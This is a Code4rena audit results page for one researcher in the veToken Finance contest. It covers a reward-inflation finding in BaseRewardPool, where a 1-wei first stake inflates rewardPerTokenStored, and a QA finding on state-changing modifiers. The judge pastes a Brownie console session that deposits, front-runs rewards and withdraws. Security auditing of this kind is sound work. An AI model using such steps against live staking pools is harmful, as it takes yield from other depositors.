veToken Finance contest - sorrynotsorry's results

Lock more veAsset permanently.

General Information

Platform: Code4rena

Start Date: 26/05/2022

Pot Size: $75,000 USDT

Total HM: 31

Participants: 71

Period: 7 days

Judge: GalloDaSballo

Total Solo HM: 18

Id: 126

League: ETH

veToken Finance

Findings Distribution

Researcher Performance

Rank: 12/71

Findings: 2

Award: $2,182.56

🌟 Selected for report: 1

🚀 Solo Findings: 1

External Links

Code4rena Contest Page Github Contest Repository Github Findings Repository veToken Finance

Findings Information

🌟 Selected for report: sorrynotsorry

Labels

bug

2 (Med Risk)

disagree with severity

sponsor acknowledged

Awards

2082.6377 USDT - $2,082.64

External Links

Link to GitHub issue

Lines of code

https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/BaseRewardPool.sol#L180 https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/BaseRewardPool.sol#L137-L142 https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/BaseRewardPool.sol#L157-L159

Vulnerability details

Impact

The first user who calls BaseRewardPool's stake() function with 1 wei can inflate the rewardPerTokenStored. And the same user can call withdraw and drain the rewards.

Proof of Concept

When a user call stake() with 1 wei, it updates the _totalSupply as 1 wei and the rewards through updateReward modifier. This modifier calls rewardPerToken() to assign the return to rewardPerTokenStored and assigns it to the account via userRewardPerTokenPaid[account] = rewardPerTokenStored; rewardPerToken() formula is as below;

function rewardPerToken() public view returns (uint256) {
        if (totalSupply() == 0) {
            return rewardPerTokenStored;
        }
        return
            rewardPerTokenStored.add(
                lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(
                    totalSupply()
                )
            );
    }

Since it depends on the denominator as totalSupply(), the whole multiplying will be divided by 1 wei which will infate the rewardPerTokenStored astronomically. And there is no obstacle for the user to withdraw it in the withdraw function.

Tools Used

Manual Review

Recommended Mitigation Steps

The team might consider to add boundries to reward the stakers to be consistent inside the limits.

#0 - solvetony
2022-06-15T16:05:44Z

This is the rare case when only one staker in the pool.

#1 - GalloDaSballo
2022-07-27T00:20:45Z

This report would have heavily benefited by a coded POC.

I'm pasting my raw data from terminal (typos and stuff included)

Compare for unfairness

Seems to be unfair toward the early depositor, but not too crazily

>>> x = BaseRewardPool.deploy(1, ETH_ADDRESS, ETH_ADDRESS, a[0], a[0], {"from": a[0]})
Transaction sent: 0x981137ae6eead737b5a56a58f03046f184b9482c7b85307c3eba140a401a92f5
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 4
  BaseRewardPool.constructor confirmed   Block: 15221212   Gas used: 863738 (7.20%)
  BaseRewardPool deployed at: 0xe0aA552A10d7EC8760Fc6c246D391E698a82dDf9

>>> x.stake(1, {"from": a[0]})
Transaction sent: 0x03971a1e78ab54979f834746436488f1cb49c5a483957f0ce01f409124bd38d5
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 5
  BaseRewardPool.stake confirmed   Block: 15221213   Gas used: 79754 (0.66%)

<Transaction '0x03971a1e78ab54979f834746436488f1cb49c5a483957f0ce01f409124bd38d5'>
>>> x.queueNewRewards(1e18, {"from": a[0]})
Transaction sent: 0xb88fe369ed4b49f8043d67354f3429f41a403fa98b4e74a82a2a773ae00186d9
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 6
  BaseRewardPool.queueNewRewards confirmed   Block: 15221214   Gas used: 39180 (0.33%)

<Transaction '0xb88fe369ed4b49f8043d67354f3429f41a403fa98b4e74a82a2a773ae00186d9'>
>>> chain.sleep(x.duration() // 10)
>>> chain.time
<bound method Chain.time of <Chain object (chainid=1, height=15221214)>>
>>> chain.time()
1658940912
>>> chain.sleep(x.duration() // 10)
>>> chain.time()
1659001396
>>> x.stake(1, {"from": a[0]})
Transaction sent: 0xea095333668d2f89979e55bfd7252e6c117d875bfbb628ee853383a3da3064e5
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 7
  BaseRewardPool.stake confirmed   Block: 15221215   Gas used: 74391 (0.62%)

<Transaction '0xea095333668d2f89979e55bfd7252e6c117d875bfbb628ee853383a3da3064e5'>
>>> x.stake(10, {"from": a[1]})
Transaction sent: 0x85f2de5caee675c9c9889533804c65cb6b337f3dcb714af718fec70bc33a34d6
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 5
  BaseRewardPool.stake confirmed   Block: 15221216   Gas used: 100191 (0.83%)

<Transaction '0x85f2de5caee675c9c9889533804c65cb6b337f3dcb714af718fec70bc33a34d6'>
>>> chain.sleep(x.duration())
>>> first = x.getReward({"from": a[0]).return_value
  File "<console>", line 1,
    first = x.getReward({"from": a[0]).return_value
                                     ^
SyntaxError: closing parenthesis ')' does not match opening parenthesis '{'
>>> first = x.getReward({"from": a[0]).return_value
  File "<console>", line 1,
    first = x.getReward({"from": a[0]).return_value
                                     ^
SyntaxError: closing parenthesis ')' does not match opening parenthesis '{'
>>> first = x.getReward({"from": a[0]}).return_value
Transaction sent: 0x6cd0057d7a1c9586b6bb75324d1871fbce02b661c2bd957ee4d58adee58799d2
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 8
  BaseRewardPool.getReward confirmed   Block: 15221217   Gas used: 56876 (0.47%)

>>> second = x.getReward({"from": a[1]}).return_value
Transaction sent: 0x2fc7122fe33c2b332d32c1bc634ef9ec5d94133fc41168408cbdec954e5bc8ad
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 6
  BaseRewardPool.getReward confirmed   Block: 15221218   Gas used: 48476 (0.40%)

>>> first
True
>>> second
True
>>> x.userRewardPerTokenPaid(a[0])
266715305335072250583333333333333333
>>> x.userRewardPerTokenPaid(a[1])
266715305335072250583333333333333333

## Second User (10 deposited)
>>> history[-1].events
{'RewardUpdated': [OrderedDict([('user', '0x33A4622B82D4c04a53e170c638B944ce27cffce3'), ('reward', 666615685626040430), ('rewardPerTokenStored', 266715305335072250583333333333333333), ('lastUpdateTime', 1659485217)])]}
## First user 2 deposited (early 1 /10th of time)
>>> history[-2].events
{'RewardUpdated': [OrderedDict([('user', '0x66aB6D9362d4F35596279692F0251Db635165871'), ('reward', 333384314373866769), ('rewardPerTokenStored', 266715305335072250583333333333333333), ('lastUpdateTime', 1659485217)])]}
>>>

Deposit, front-run rewards and withdraw

>>> x.stake(1, {"from": a[0]})
Transaction sent: 0x03971a1e78ab54979f834746436488f1cb49c5a483957f0ce01f409124bd38d5
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 5
  BaseRewardPool.stake confirmed   Block: 15221254   Gas used: 79754 (0.66%)

<Transaction '0x03971a1e78ab54979f834746436488f1cb49c5a483957f0ce01f409124bd38d5'>
>>> x.queueNewRewards(1e18, {"from": a[0]})
Transaction sent: 0xb88fe369ed4b49f8043d67354f3429f41a403fa98b4e74a82a2a773ae00186d9
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 6
  BaseRewardPool.queueNewRewards confirmed   Block: 15221255   Gas used: 39180 (0.33%)

<Transaction '0xb88fe369ed4b49f8043d67354f3429f41a403fa98b4e74a82a2a773ae00186d9'>
>>> x.withdraw(1, False, {"from": a[0]})
Transaction sent: 0x28e3687fb982c9473cd4c79e5a04e66f90cc1ab7182d6d55c6a790716d3aeddf
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 7
  BaseRewardPool.withdraw confirmed   Block: 15221256   Gas used: 44611 (0.37%)

<Transaction '0x28e3687fb982c9473cd4c79e5a04e66f90cc1ab7182d6d55c6a790716d3aeddf'>
>>> history[-1].events
{'RewardUpdated': [OrderedDict([('user', '0x66aB6D9362d4F35596279692F0251Db635165871'), ('reward', 46296296296292), ('rewardPerTokenStored', 46296296296292000000000000000000), ('lastUpdateTime', 1658880907)])]}
>>> 46296296296292 / 1e18
4.6296296296292e-05
>>>

Let's compare against a more non-malicious realistic deposit of 1e18 (Same as above but stake and withdraw for 1e18)

{'RewardUpdated': [OrderedDict([('user', '0x66aB6D9362d4F35596279692F0251Db635165871'), ('reward', 14880952380951), ('rewardPerTokenStored', 14880952380951), ('lastUpdateTime', 1658880998)])]}

Seems to receive 3 times less rewards

I think there may be a lot more to uncover, and this finding would have benefitted by more time invested in coding a POC.

With the information that I have, it does seem like, due to the supply math, that early depositors can inflate the amount of rewards they receive by depositing a small amount.

It may be advisable to discuss this with the Synthetix team to see historically how this can be griefed, and it may be ideal to require an initial deposit of at least 1e18 tokens on the first deposit.

Because the finding is:

Limited to loss of yield
Lacks Coded POC showing how to steal all rewards (my due diligence denies that statement)

I think Medium Severity is more appropriate

Findings Information

🌟 Selected for report: IllIllI

Also found by: 0x1f8b, 0x29A, 0xDjango, 0xNazgul, 0xf15ers, BouSalman, Chom, Deivitto, Dravee, ElKu, FSchmoede, Funen, GimelSec, Hawkeye, MiloTruck, Picodes, SecureZeroX, SmartSek, TerrierLover, WatchPug, _Adam, asutorufos, berndartmueller, c3phas, catchup, cccz, cogitoergosumsw, cryptphi, csanuragjain, delfin454000, dipp, ellahi, gzeon, hansfriese, horsefacts, hyh, kirk-baird, minhquanym, oyc_109, pauliax, reassor, robee, sashik_eth, shenwilly, simon135, sorrynotsorry, sseefried, unforgiven, xiaoming90, z3s

Awards

99.9237 USDT - $99.92

Labels

bug

QA (Quality Assurance)

sponsor acknowledged

External Links

Link to GitHub issue

Lines of code

https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/BaseRewardPool.sol#L137-L146 https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VE3DRewardPool.sol#L146-L164

Vulnerability details

Impact

Modifiers should only implement checks and not make state changes and external calls which violates the checks-effects-interactions pattern. These side-effects may go unnoticed by developers/auditors because the modifier code is typically far from the function implementation. The code inside a modifier is usually executed before the function body, so any state changes or external calls will violate the Checks-Effects-Interactions pattern. Moreover, these statements may also remain unnoticed by the developer, as the code for modifier may be far from the function declaration. Reference

Proof of Concept

    modifier updateReward(address account) {
        rewardPerTokenStored = rewardPerToken();
        lastUpdateTime = lastTimeRewardApplicable();
        if (account != address(0)) {
            rewards[account] = earned(account);
            userRewardPerTokenPaid[account] = rewardPerTokenStored;
        }
        emit RewardUpdated(account, rewards[account], rewardPerTokenStored, lastUpdateTime);
        _;
    }

    modifier updateReward(address account) {
        address _rewardToken;
        for (uint256 i = 0; i < rewardTokens.length(); i++) {
            _rewardToken = rewardTokens.at(i);
            rewardTokenInfo[_rewardToken].rewardPerTokenStored = rewardPerToken(_rewardToken);
            rewardTokenInfo[_rewardToken].lastUpdateTime = lastTimeRewardApplicable(_rewardToken);
            if (account != address(0)) {
                rewardTokenInfo[_rewardToken].rewards[account] = earnedReward(
                    _rewardToken,
                    account
                );
                rewardTokenInfo[_rewardToken].userRewardPerTokenPaid[account] = rewardTokenInfo[
                    _rewardToken
                ].rewardPerTokenStored;
            }
        }

        _;
    }

Tools Used

Manual Review

Recommended Mitigation Steps

The team might consider to remove this modifier and use and internal/private function wrapped in a require statement.

#0 - solvetony
2022-06-15T16:04:58Z

Seems this is more a good practice that an actual issue, we acknowledged about that.

#1 - GalloDaSballo
2022-07-21T16:38:12Z

Disagree with the alarmist take, also disappointed by lack of POC. Am considering marking as invalid as the finding is implicitly saying that the SNX Staking Contract, quite possibly the most battle-tested contract in all of DeFi, is vulnerable

#2 - GalloDaSballo
2022-07-24T21:20:46Z

Downgrading to QA because it factually is true that the modifier can break CEI, still am unhappy with the submission

veToken Finance contest - sorrynotsorry's results

Lock more veAsset permanently.

General Information

Findings Distribution

Researcher Performance

External Links

🚀 [M-23] BaseRewardPool's `rewardPerTokenStored` can be inflated and rewards can be stolen - $2,082.64

Findings Information

Labels

Awards

External Links

Lines of code

Vulnerability details

Impact

Proof of Concept

Tools Used

Recommended Mitigation Steps

#0 - solvetony2022-06-15T16:05:44Z

#1 - GalloDaSballo2022-07-27T00:20:45Z

Compare for unfairness

Deposit, front-run rewards and withdraw

[Q-51] QA Report - $99.92

Findings Information

Awards

Labels

External Links

Lines of code

Vulnerability details

Impact

Proof of Concept

Tools Used

Recommended Mitigation Steps

#0 - solvetony2022-06-15T16:04:58Z

#1 - GalloDaSballo2022-07-21T16:38:12Z

#2 - GalloDaSballo2022-07-24T21:20:46Z

#0 - solvetony
2022-06-15T16:05:44Z

#1 - GalloDaSballo
2022-07-27T00:20:45Z

#0 - solvetony
2022-06-15T16:04:58Z

#1 - GalloDaSballo
2022-07-21T16:38:12Z

#2 - GalloDaSballo
2022-07-24T21:20:46Z